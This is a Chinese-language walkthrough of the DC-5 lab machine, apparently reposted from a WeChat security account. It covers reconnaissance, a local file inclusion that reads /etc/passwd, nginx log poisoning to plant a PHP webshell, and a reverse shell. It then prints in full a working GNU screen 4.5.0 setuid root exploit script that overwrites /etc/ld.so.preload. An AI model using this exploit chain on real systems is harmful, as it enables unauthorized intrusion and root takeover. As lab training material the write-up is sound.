DC-5

admin 2024年1月6日08:51:51评论16 views字数 3189阅读10分37秒阅读模式

前言

首先大家一定要记住,所有未经授权的渗透都是违法的,所以大家切勿一通乱黑,被关进橘子有的哭了。我们可以在本地搭建一些本地靶场,比如Dvwa

项目介绍  

靶机:172,16,10,36

攻击机:172,16,10,13;172,16,10,26

一、信息收集  

1,主机信息  

DC-5

2,端口信息  

DC-5    

3,服务信息  

DC-5

二、漏洞分析  

1,访问Web  

通过信息收集发现该IP下开放了一个80端口,且使用的web服务器是nginx,尝试访问80端口;

DC-5    

在网站首页并没有获取到什么有用信息,在联系栏有一个关于提交信息的选项,尝试使用xss发现没用。这里先继续收集。

DC-5

          

提交后发现上面的参数不做更改,下面的Copyright@后门的数字都在变,这里可以判断肯定是使用了一个动态脚本,不是静态页面。

DC-5

2,查看当前站点下的目录信息  

从下结果就可以大楷判断该网站系统使用的php语言开发的    

DC-5

访问footer.php时发现thankyou.php中的Copyright © 2019是引用的footer.php这个文件,也就是文件包含,假设存在文件包含漏洞。我们已经知道当前目录下肯定是有index.php这个文件的,现在还缺少$GET__(path)中的参数,最开始使用的footer.php包含发现内容太少很难判断出来,后面使用index.php发现一下就出来了。这里可以使用BP也可以使用其他的工具,我这个用的是fuzz找到了参数为file

DC-5

读取index.php    

DC-5

读取footer.php

DC-5

读取/etc/passwd,在信息收集的时候我们已经知道该服务器运行的是Linux操作系统,所以我们这里读取的是/etc/passwd

DC-5

3.Getshell  

这里因为只有读取没有文件上传功能,所以我们无法通过上传文件的方式写入木马,这里我看们可以参试尝试读取服务器的log日志。默认情况下,nginx日志文件存储在/var/log/nginx/目录下,找这个日志文件跟服务器攻击机电脑还是有关联的,刚开始找了半个小时都没找到日志文件所在的目录,后门直接去跑的时候发现就是在/var/log/nginx目录下,最开始也读取了/var/log/nginx/access.log但没有显示,根据跑出的结果也确信日志文件目录就在/var/log/nginx目录下,然后访问错误日志error.log正常显示。接着抓包继续发送显示说是文件太大了无法显示的原因,这就确定了日志路径是正确的如下所示    

DC-5

于是多刷新几次就出来了,因为文较大等待时间比较长

DC-5

DC-5    

可以看到我们在前端所求的数据都被记录了,接下来我们插入木马,打过CTF的应该都遇到过这类的问题,为什么说可以同日nginx日志插入木马,那是因为在执行时服务器并认识这个后缀的话就会议php程序执行,下面写入木马请求后看看日志分析。

DC-5

在这里发现报的404错误,没关系,看看日志内容。

DC-5

从日志中可以看到我们写入的木马在日志文件中并没有显示,这个就是因为后面执行的一句话木马被当成php程序执行了,这也就是我们所需要的效果。    

4.连接一句话木马  

上面已经插入了木马,下面我们使用蚁剑连接,方法和成功标志如下所示:

DC-5

连接后创建一个虚拟终端

DC-5

因为要提权我们能需要反弹一个shell,蚁剑中的会话终端是无法提权,这是因为所创建的会话终端并不是真正的是交互shell,执行提权时不能产生交互窗口。所以我们需要反弹一个shell    

DC-5

DC-5

三、权限提升  

1,生成交互shell  

DC-5

2,查找提权点  

查找sudo提权点,发现并没有

DC-5

查找具有suid权限的软件    

DC-5

这里发现一个名为screen的软件具有suid权限,下面我们看看有没有这个软件版本漏洞,经过搜索发现该版本存在一个漏洞

DC-5

3.漏洞利用  

将41154.sh这个文件上传到被攻击服务器上,为什么不用41152.txt文件,因为这里记录的是源代码文件。

DC-5

成功后直接运行bash 41154.sh    

DC-5

成功提权root权限,如果没有运维基础的在这一块可能就会报错,那是因为编译的时候默认采用的windows编译,两种解决方式,一是将编译好的文件上传到被攻击服务器上,并创建一个sh文件一起上传到被攻击服务器上,上传成功直接运行dajun.sh即可,这里以dajun.sh为例:

#!/bin/bash

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

方法二,将41154.sh里面的默认windows编译方式更改为unix的编译方式就行,更改后的配置如下所示:

#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c

#include    

#include

#include

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!n");

}

EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c

#include

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh", NULL, NULL);

}

EOF

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell                                                                                                                                            

进入root目录ls找到flag

DC-5

          

四、权限维持  

五、痕迹清理  

   

原文始发于微信公众号(Red Teams):DC-5

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月6日08:51:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DC-5http://cn-sec.com/archives/2370000.html

发表评论

匿名网友 填写信息